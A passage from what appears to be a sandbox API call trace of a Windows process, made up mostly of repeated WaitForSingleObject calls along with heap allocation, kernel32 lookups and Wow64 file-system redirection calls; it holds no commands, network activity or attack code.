(hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.980] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.980] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.980] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.980] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.981] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.981] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.981] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.981] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.981] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.981] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.981] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.981] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.981] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.982] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.982] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.982] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.982] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.982] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.982] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.982] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.982] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.982] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.982] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.983] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.983] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.983] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.983] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.983] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.983] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.983] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.983] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.983] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.983] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.984] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0262.274] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0274.880] GetProcessHeap () returned 0xc10000 [0274.880] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x50) returned 0x39020f0 [0274.880] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0274.881] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x75cc6b50 [0274.881] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0274.881] GetProcessHeap () returned 0xc10000 [0274.881] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39020f0 | out: hHeap=0xc10000) returned 1 [0274.881] SetEvent (hEvent=0x2fc) returned 1 [0274.881] SetEvent (hEvent=0x2f8) returned 1 [0274.882] SetEvent (hEvent=0x300) returned 1 [0274.882] GetProcessHeap () returned 0xc10000 [0274.882] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x36a5020 | out: hHeap=0xc10000) returned 1 [0274.885] GetProcessHeap () returned 0xc10000 [0274.885] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc4d768 | out: hHeap=0xc10000) returned 1 [0274.885] GetProcessHeap () returned 0xc10000 [0274.885] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc92d98 | out: hHeap=0xc10000) returned 1 [0274.887] GetProcessHeap () returned 0xc10000 [0274.887] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33918b0 | out: hHeap=0xc10000) returned 1 Thread: id = 70 os_tid = 0xd4c [0212.414] GetProcessHeap () returned 0xc10000 [0212.414] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33a1f88 [0212.415] GetProcessHeap () returned 0xc10000 [0212.415] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33b1f90 [0212.416] GetProcessHeap () returned 0xc10000 [0212.416] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x28) returned 0xc4d7c8 [0212.416] GetProcessHeap () returned 0xc10000 [0212.416] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x110102) returned 0x37c0020 [0212.420] GetProcessHeap () returned 0xc10000 [0212.420] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x50) returned 0xc522c8 [0212.421] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0212.421] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75cc6b30 [0212.421] Wow64DisableWow64FsRedirection (in: OldValue=0x335f9fc | out: OldValue=0x335f9fc*=0x0) returned 1 [0212.421] GetProcessHeap () returned 0xc10000 [0212.421] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc522c8 | out: hHeap=0xc10000) returned 1 [0212.421] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.422] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.422] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.422] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.422] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.422] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.423] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.423] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.423] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.423] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.423] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.423] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.423] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.424] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.424] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.424] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.424] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.424] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.424] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.425] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.425] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.425] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.425] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.425] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.425] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.426] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.426] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.426] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.426] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.426] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.426] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.426] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.427] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.427] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.427] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.427] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.427] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.427] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.427] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.427] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.427] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.427] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.428] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.428] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.428] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.428] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.428] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.428] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.428] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.428] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.428] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.428] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.429] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.429] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.429] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.429] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.429] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.429] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.429] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.429] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.430] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.430] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.430] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.430] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.430] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.430] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.430] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.430] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.430] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.430] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.431] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.431] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.431] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.431] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.431] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.431] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.431] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.431] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.431] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.431] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.432] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.432] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.432] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.432] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.432] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.432] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.432] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.432] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.432] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.432] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.433] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.433] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.433] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.433] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.433] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.433] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.433] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.433] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.433] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.433] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.433] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.434] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.434] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.434] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.434] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.434] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.434] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.434] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.434] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.434] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.435] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.435] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.435] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.435] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.435] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.435] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.435] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.435] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.435] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.435] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.436] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.436] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.436] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.436] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.436] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.436] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.436] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.436] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.436] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.436] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.437] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.437] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.437] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.437] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.437] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.437] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.437] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.437] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.437] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.437] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.437] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.438] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.438] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.438] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.438] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.438] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.438] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.438] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.438] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.438] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.438] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.438] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.438] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.439] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.439] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.439] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.439] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.439] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.439] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.439] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.439] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.439] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.439] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.439] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.440] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.440] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.440] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.440] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.440] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.440] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.440] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.440] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.440] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.440] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.440] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.441] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.441] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.441] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.441] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.441] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.441] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.441] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.441] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.441] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.441] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.441] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.442] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.442] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.442] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.442] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.442] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.442] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.442] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.442] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.442] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.442] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.443] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.443] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.443] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.443] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.443] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.443] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.443] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.443] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.443] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.443] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.444] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.444] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.444] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.444] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.444] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.444] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.444] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.444] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.444] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.445] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.445] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.445] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.445] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.445] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.445] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.445] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.445] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.445] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.446] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.446] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.446] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.446] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.446] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.446] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.446] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.446] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.446] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.447] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.447] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.447] WaitForSingleObject (hHandle=0x2fc, 